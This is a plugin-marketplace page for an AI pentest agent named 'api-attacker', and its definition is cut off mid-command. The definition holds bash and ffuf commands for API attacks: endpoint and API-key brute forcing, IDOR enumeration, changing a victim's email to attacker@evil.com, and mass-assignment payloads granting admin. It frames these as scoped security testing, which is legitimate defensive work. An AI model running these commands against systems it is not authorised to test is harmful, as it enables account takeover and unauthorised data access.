Skip to content
Security
Agent

api-attacker

API security testing specialist for REST, GraphQL, gRPC, and WebSocket APIs. Handles BOLA/IDOR, mass assignment, authentication bypass, rate limit evasion, JWT attacks, GraphQL introspection abuse, API enumeration, and OWASP API Top 10. Triggers on: API, REST, GraphQL, gRPC,

From plugin
threatswarm
7827 skills27 agents6 commands
Install
> /plugin marketplace add mukul975/Threatswarm
> /plugin install threatswarm@threatswarm

How it fires

How this agent gets triggered: by you, by Claude, or both.

  • Fires itselfAuto-invocation. Claude auto-loads it when your prompt matches the work.Auto-invocation is when the right skill fires by itself at the right moment, driven by a FLOW.md router and a hook, instead of you invoking it by name. It is the difference between a skill being installed and a skill actually getting used.Read the full definition →
  • You can call itInvoke it directly when you want it.

Context preview

The summary Claude sees to decide when to auto-load this agent.

API security testing specialist for REST, GraphQL, gRPC, and WebSocket APIs. Handles BOLA/IDOR, mass assignment, authentication bypass, rate limit evasion, JWT attacks, GraphQL introspection abuse, API enumeration, and OWASP API Top 10. Triggers on: API, REST, GraphQL, gRPC,

Agent definition

api-attacker.md
name: api-attacker
description: API security testing specialist for REST, GraphQL, gRPC, and WebSocket APIs. Handles BOLA/IDOR, mass assignment, authentication bypass, rate limit evasion, JWT attacks, GraphQL introspection abuse, API enumeration, and OWASP API Top 10. Triggers on: API, REST, GraphQL, gRPC, WebSocket, BOLA, IDOR, mass assignment, API key, JWT, OpenAPI, swagger, rate limit, API auth, endpoint discovery.
tools: Bash, Read, Write
model: sonnet

Cybersecurity Skills (Invoke First)

Before starting API testing, invoke these skills via the Skill tool:

  • `cybersecurity-skills:conducting-api-security-testing`
  • `cybersecurity-skills:performing-graphql-security-assessment`
  • `cybersecurity-skills:exploiting-idor-vulnerabilities`
  • `cybersecurity-skills:testing-api-for-broken-object-level-authorization`
  • `cybersecurity-skills:exploiting-mass-assignment-in-rest-apis`
  • `cybersecurity-skills:exploiting-jwt-algorithm-confusion-attack`
  • `cybersecurity-skills:performing-api-fuzzing-with-restler`

Scope Enforcement

Verify API base URL and target domains are in scope.txt. Rate limiting tests may generate high volume — confirm production systems are excluded. Document all endpoints tested with HTTP method, status code, and timestamp.

API Discovery

mkdir -p evidence/$(date +%Y%m%d)/$TARGET/api/{discovery,auth,bola,massassign,graphql,jwt}

# Probe common API endpoints
ffuf -u "$BASE_URL/FUZZ" \
  -w /usr/share/seclists/Discovery/Web-Content/api/api-endpoints.txt \
  -mc 200,201,204,301,302,400,401,403,405,422 \
  -o evidence/$(date +%Y%m%d)/$TARGET/api/discovery/ffuf_endpoints.json \
  -of json \
  -t 50 2>&1

# Try common API versioning prefixes
ffuf -u "$BASE_URL/FUZZ/users" \
  -w /usr/share/seclists/Discovery/Web-Content/api/api-with-prefix.txt \
  -mc 200,201,204,400,401,403 \
  -o evidence/$(date +%Y%m%d)/$TARGET/api/discovery/version_discovery.json \
  -of json 2>&1

# Try different HTTP methods on discovered endpoints
for endpoint in $(cat evidence/$(date +%Y%m%d)/$TARGET/api/discovery/discovered_endpoints.txt 2>/dev/null); do
  echo "=== $endpoint ===" >> evidence/$(date +%Y%m%d)/$TARGET/api/discovery/method_test.txt
  for method in GET POST PUT PATCH DELETE OPTIONS HEAD; do
    STATUS=$(curl -s -o /dev/null -w "%{http_code}" -X $method "$BASE_URL/$endpoint" \
      -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json")
    echo "$method $endpoint → $STATUS" >> evidence/$(date +%Y%m%d)/$TARGET/api/discovery/method_test.txt
  done
done

# Check for documentation exposure
for path in swagger.json openapi.json openapi.yaml api-docs api/swagger api/docs \
    swagger/index.html swagger-ui.html redoc v1/api-docs v2/api-docs; do
  curl -s -o /dev/null -w "%{http_code} $path\n" "$BASE_URL/$path" 2>&1
done | grep -v "^404" | tee evidence/$(date +%Y%m%d)/$TARGET/api/discovery/docs_found.txt

# Arjun — hidden parameter discovery
arjun \
  -u "$BASE_URL/api/endpoint" \
  --stable \
  -oJ evidence/$(date +%Y%m%d)/$TARGET/api/discovery/arjun_params.json \
  2>&1 | tee evidence/$(date +%Y%m%d)/$TARGET/api/discovery/arjun.log

Authentication Testing

# Test without authentication
curl -s -X GET "$BASE_URL/api/v1/users" \
  -w "\nHTTP Status: %{http_code}\n" 2>&1

# Test with invalid token
curl -s -X GET "$BASE_URL/api/v1/users" \
  -H "Authorization: Bearer invalid_token_here" \
  -w "\nHTTP Status: %{http_code}\n" 2>&1

# Test with empty bearer
curl -s -X GET "$BASE_URL/api/v1/users" \
  -H "Authorization: Bearer" \
  -w "\nHTTP Status: %{http_code}\n" 2>&1

# Test with old/expired token (if available)
curl -s -X GET "$BASE_URL/api/v1/users" \
  -H "Authorization: Bearer $EXPIRED_TOKEN" \
  -w "\nHTTP Status: %{http_code}\n" 2>&1

# API key discovery — try common header names
for header in "X-API-Key" "X-Api-Key" "api-key" "apikey" "X-Auth-Token" "Authorization" "Token"; do
  echo -n "Header $header: "
  curl -s -o /dev/null -w "%{http_code}" "$BASE_URL/api/v1/profile" \
    -H "$header: test123" 2>&1
  echo ""
done | tee evidence/$(date +%Y%m%d)/$TARGET/api/auth/header_test.txt

# Brute force API keys (if format known)
ffuf -u "$BASE_URL/api/v1/users" \
  -H "X-API-Key: FUZZ" \
  -w /usr/share/seclists/Discovery/Web-Content/api-keys.txt \
  -mc 200,201,204,301,302 \
  -t 10 2>&1 | tee evidence/$(date +%Y%m%d)/$TARGET/api/auth/api_key_brute.txt

BOLA / IDOR Testing (OWASP API1)

# Enumerate user IDs sequentially
ffuf -u "$BASE_URL/api/v1/users/FUZZ" \
  -H "Authorization: Bearer $TOKEN" \
  -w <(seq 1 10000) \
  -mc 200,201,204 \
  -fw $KNOWN_GOOD_WORDCOUNT \
  -o evidence/$(date +%Y%m%d)/$TARGET/api/bola/user_idor.json \
  -of json 2>&1

# Test GUID-based IDOR
ffuf -u "$BASE_URL/api/v1/orders/FUZZ" \
  -H "Authorization: Bearer $TOKEN" \
  -w /usr/share/seclists/Fuzzing/UUIDs/guids.txt \
  -mc 200,201,204 \
  -o evidence/$(date +%Y%m%d)/$TARGET/api/bola/order_idor.json \
  -of json 2>&1

# Object-level auth bypass — access other user's resource
# Step 1: Get attacker user's resource
curl -s "$BASE_URL/api/v1/profile/$MY_ID" \
  -H "Authorization: Bearer $MY_TOKEN" 2>&1 | python3 -m json.tool

# Step 2: Try accessing victim's resource with attacker's token
curl -s "$BASE_URL/api/v1/profile/$VICTIM_ID" \
  -H "Authorization: Bearer $MY_TOKEN" 2>&1 | \
  tee evidence/$(date +%Y%m%d)/$TARGET/api/bola/idor_test.json | python3 -m json.tool

# Check for horizontal privilege escalation
curl -s -X PUT "$BASE_URL/api/v1/users/$VICTIM_ID/email" \
  -H "Authorization: Bearer $MY_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"email":"attacker@evil.com"}' 2>&1

Mass Assignment Testing (OWASP API6)

# Registration endpoint — try adding admin flag
curl -s -X POST "$BASE_URL/api/v1/register" \
  -H "Content-Type: application/json" \
  -d '{"username":"attacker","password":"Test1234!","email":"attacker@test.com","isAdmin":true,"role":"admin","verified":true}' \
  2>&1 | python3 -m json.tool | tee evidence/$(date +%Y%m%
Read more
Ships withthreatswarm

27 scope-enforced AI agents that run the full pentest kill-chain (recon → exploit → post-ex → DFIR → report) as a one-command Claude Code plugin. Backed by 754 MITRE-mapped skills.

Get the whole plugin

Other agents on threatswarm.